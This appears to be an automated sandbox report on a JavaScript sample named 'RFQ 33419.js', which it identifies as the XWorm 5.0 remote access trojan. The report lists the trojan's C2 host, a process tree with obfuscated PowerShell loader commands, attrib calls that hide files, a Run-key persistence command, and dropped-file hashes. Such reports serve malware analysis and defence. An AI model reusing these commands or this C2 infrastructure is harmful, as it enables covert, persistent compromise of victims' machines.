Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/08/2026, 02:20

General

  • Target
    RFQ 33419.js
  • Size 323KB
  • Sample260825-csjmsawcnc
  • SHA256 054036f349028234ea15ddfd33de43adf6c2b1c00f2df1e02925d00d081b7b2e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • phanxwodm.duckdns.org:50007

Mutex
  • 7tBCh6xBQkUuHcZE

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 26 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Views/modifies file attributes 1 TTPs 10 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\RFQ 33419.js"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2976
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command $OTDLON=$env:HSQSH;$RRWS=$env:KCPHOZQJ;$JQOVZCG=$env:REKGF+$env:DHUF+$env:JODNBXN+'.'+$env:UAKRV;[void][IO.Directory]::CreateDirectory([IO.Path]::GetDirectoryName($JQOVZCG));$LHRCWLL=foreach($MASQYU in [IO.File]::ReadAllLines($RRWS)){if($MASQYU.IndexOf($OTDLON)-eq 0){$MASQYU.Substring($OTDLON.Length)}};[IO.File]::WriteAllLines($JQOVZCG,[string[]]@($LHRCWLL),[Text.Encoding]::ASCII)
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:256
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c call "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\20267251787624419740.cmd" & attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\20267251787624419740.cmd"
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:5896
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:CLHVQUU))"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:6000
      • C:\Windows\system32\attrib.exe
        attrib -h -s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\*.cmd"
        3⤵
        • Views/modifies file attributes
        PID:5052
      • C:\Windows\system32\attrib.exe
        attrib -h -s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\*.bat"
        3⤵
        • Views/modifies file attributes
        PID:5996
      • C:\Windows\system32\attrib.exe
        attrib -h -s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\jumplist_idx\jumplist_idx.dat"
        3⤵
        • Views/modifies file attributes
        PID:4752
      • C:\Windows\system32\attrib.exe
        attrib -h -s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\jumplist_idx\jumplist_idx_PSCPZNSS.cmd"
        3⤵
        • Views/modifies file attributes
        PID:5844
      • C:\Windows\system32\attrib.exe
        attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\jumplist_idx\jumplist_idx.dat"
        3⤵
        • Views/modifies file attributes
        PID:4300
      • C:\Windows\system32\attrib.exe
        attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\jumplist_idx\jumplist_idx_PSCPZNSS.cmd"
        3⤵
        • Views/modifies file attributes
        PID:3456
      • C:\Windows\system32\attrib.exe
        attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\jumplist_idx"
        3⤵
        • Views/modifies file attributes
        PID:3900
      • C:\Windows\system32\attrib.exe
        attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\20267251787624419740.cmd"
        3⤵
        • Views/modifies file attributes
        PID:1212
      • C:\Windows\system32\attrib.exe
        attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\jumplist_idx\jumplist_idx_PEZUHENB.vbs"
        3⤵
        • Views/modifies file attributes
        PID:4952
      • C:\Windows\system32\reg.exe
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v TileStoreSync_LIFE /t REG_SZ /d "C:\Windows\System32\wscript.exe //B //nologo ""C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\jumplist_idx\jumplist_idx_PEZUHENB.vbs"""
        3⤵
        • Adds Run key to start application
        PID:4592
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:CLHVQUU))"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4480
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:CLHVQUU))"
          4⤵
          • Adds Run key to start application
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2624
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hopfhmmg\hopfhmmg.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2868
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES73A0.tmp" "c:\Users\Admin\AppData\Local\Temp\hopfhmmg\CSCC8E2C376104B4A2E8BAB24EADE7D61DD.TMP"
              6⤵
                PID:2092
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5t31mnvm\5t31mnvm.cmdline"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1116
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES74A9.tmp" "c:\Users\Admin\AppData\Local\Temp\5t31mnvm\CSCEA05AFCB214E4D53A43B68601DF2E1EA.TMP"
                6⤵
                  PID:4880
              • C:\Windows\system32\msiexec.exe
                "C:\Windows\system32\msiexec.exe"
                5⤵
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:2412
                • C:\Windows\system32\prevhost.exe
                  "C:\Windows\system32\prevhost.exe"
                  6⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3584
              • C:\Windows\system32\choice.exe
                "C:\Windows\system32\choice.exe"
                5⤵
                  PID:1016
            • C:\Windows\system32\attrib.exe
              attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\20267251787624419740.cmd"
              3⤵
              • Views/modifies file attributes
              PID:3652

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              20267251787624419740.cmd

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\20267251787624419740.cmd
              • Size 302KB
              • SHA256 a120a1ce60f21f8050ebbced8527c41529e93e801feb50cb13e26cc137f814fc
              • MD5 SHA1 SHA512 SSDEEP TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 948B
              • SHA256 f567c2c31603903065c15c1ac289f4d8dc1f8e258afd77bbb4649c71d2e56d8f
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 7a8ef3e2be3c4c43ee8abb7ae0a5730621310896948c75ad8ccf88881aee2350
              • MD5 SHA1 SHA512 TLSH

              5t31mnvm.dll

              • Path C:\Users\Admin\AppData\Local\Temp\5t31mnvm\5t31mnvm.dll
              • Size 66KB
              • SHA256 5753864e07a4aa1159675fd0838c0ab7fe3ee5f257744748fbe566afa28cac7b
              • MD5 SHA1 SHA512 SSDEEP TLSH

              RES73A0.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RES73A0.tmp
              • Size 1KB
              • SHA256 e53a81519d293ab811e2541b599e3fc589b88e1539bb0dfe4cfef0ff7d69283e
              • MD5 SHA1 SHA512 TLSH

              RES74A9.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RES74A9.tmp
              • Size 1KB
              • SHA256 35277241ecee805f6a687b0f79121515ff51147593568184bfec788c3e230a57
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_5lic3uwk.oln.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5lic3uwk.oln.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              handoff_dbg_2624_e597601.txt

              • Path C:\Users\Admin\AppData\Local\Temp\handoff_dbg_2624_e597601.txt
              • Size 70B
              • SHA256 817cc4bb96e652e715e04a0b5316f2e388b2fbb6db2f7e8542338fef47c6add8
              • MD5 SHA1 SHA512 TLSH

              handoff_dbg_2624_e597601.txt

              • Path C:\Users\Admin\AppData\Local\Temp\handoff_dbg_2624_e597601.txt
              • Size 86B
              • SHA256 91cf8b90913695c563acb468d6af930499cd6638dfe21fcbb027ea3931da9671
              • MD5 SHA1 SHA512 TLSH

              hopfhmmg.dll

              • Path C:\Users\Admin\AppData\Local\Temp\hopfhmmg\hopfhmmg.dll
              • Size 3KB
              • SHA256 9237103fe5bb468db06ebcdc4c183a0fe90bfedad5b2299c7468006a27b774d2
              • MD5 SHA1 SHA512 TLSH

              5t31mnvm.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\5t31mnvm\5t31mnvm.0.cs
              • Size 94KB
              • SHA256 5f4d4e74281a58bf7a234c7f569b852cf6c1ba5abaa9e07292d7b6f77fc8e374
              • MD5 SHA1 SHA512 SSDEEP TLSH

              5t31mnvm.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\5t31mnvm\5t31mnvm.cmdline
              • Size 247B
              • SHA256 097d9d1f6a0f16a3eee3d499e43e9407523c9518b2a751eeee88b6ff60a5a897
              • MD5 SHA1 SHA512 TLSH

              CSCEA05AFCB214E4D53A43B68601DF2E1EA.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\5t31mnvm\CSCEA05AFCB214E4D53A43B68601DF2E1EA.TMP
              • Size 652B
              • SHA256 8b29f0b623400de9686f56925e1ddc86373d916426ec793a58f8693b99670067
              • MD5 SHA1 SHA512 TLSH

              CSCC8E2C376104B4A2E8BAB24EADE7D61DD.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\hopfhmmg\CSCC8E2C376104B4A2E8BAB24EADE7D61DD.TMP
              • Size 652B
              • SHA256 559d213a1eac836c221718f053d34d310bcd7f2c77ef29bf5118b185e10e6789
              • MD5 SHA1 SHA512 TLSH

              hopfhmmg.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\hopfhmmg\hopfhmmg.0.cs
              • Size 60B
              • SHA256 987fefb55f5ec95ae927ada3bfbfb64e8f022193cfb3296ec65b561053578c72
              • MD5 SHA1 SHA512 TLSH

              hopfhmmg.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\hopfhmmg\hopfhmmg.cmdline
              • Size 369B
              • SHA256 50586c18e7ea3bdabf942c5e0221b9433fffce93b25e56a29ca4ea37bedbf734
              • MD5 SHA1 SHA512 TLSH

              memory/256-7-0x00007FFF609E0000-0x00007FFF61384000-memory.dmp

              memory/256-9-0x00007FFF609E0000-0x00007FFF61384000-memory.dmp

              memory/256-4-0x00007FFF609E0000-0x00007FFF61384000-memory.dmp

              memory/256-5-0x00007FFF609E0000-0x00007FFF61384000-memory.dmp

              memory/256-0-0x00007FFF60B6F000-0x00007FFF60B70000-memory.dmp

              memory/256-6-0x00007FFF609E0000-0x00007FFF61384000-memory.dmp

              memory/256-12-0x00007FFF609E0000-0x00007FFF61384000-memory.dmp

              memory/256-3-0x00000125B4CE0000-0x00000125B4D02000-memory.dmp

              memory/256-10-0x00007FFF609E0000-0x00007FFF61384000-memory.dmp

              memory/2412-59-0x00000281BC9F0000-0x00000281BCA40000-memory.dmp

              memory/2412-80-0x00000281BA100000-0x00000281BA109000-memory.dmp

              memory/2412-79-0x00000281BA100000-0x00000281BA109000-memory.dmp

              memory/2412-76-0x00000281BC9F0000-0x00000281BCA40000-memory.dmp

              memory/2412-64-0x0000000180000000-0x0000000180040000-memory.dmp

              memory/2624-45-0x000001A04AE30000-0x000001A04AE38000-memory.dmp

              memory/2624-58-0x000001A04B0C0000-0x000001A04B0D8000-memory.dmp

              memory/2624-31-0x000001A04B0F0000-0x000001A04B11A000-memory.dmp

              memory/2624-29-0x000001A04B240000-0x000001A04B2F2000-memory.dmp

              memory/2624-28-0x000001A04B1B0000-0x000001A04B1CE000-memory.dmp

              memory/2624-30-0x000001A04B3C0000-0x000001A04B3CA000-memory.dmp

              memory/2624-32-0x000001A04B0F0000-0x000001A04B114000-memory.dmp

              memory/3584-83-0x00000243865B0000-0x00000243865B1000-memory.dmp

              memory/3584-82-0x0000000180000000-0x0000000180020000-memory.dmp

              memory/3584-91-0x0000000180000000-0x0000000180020000-memory.dmp

              memory/3584-90-0x0000024386750000-0x000002438675E000-memory.dmp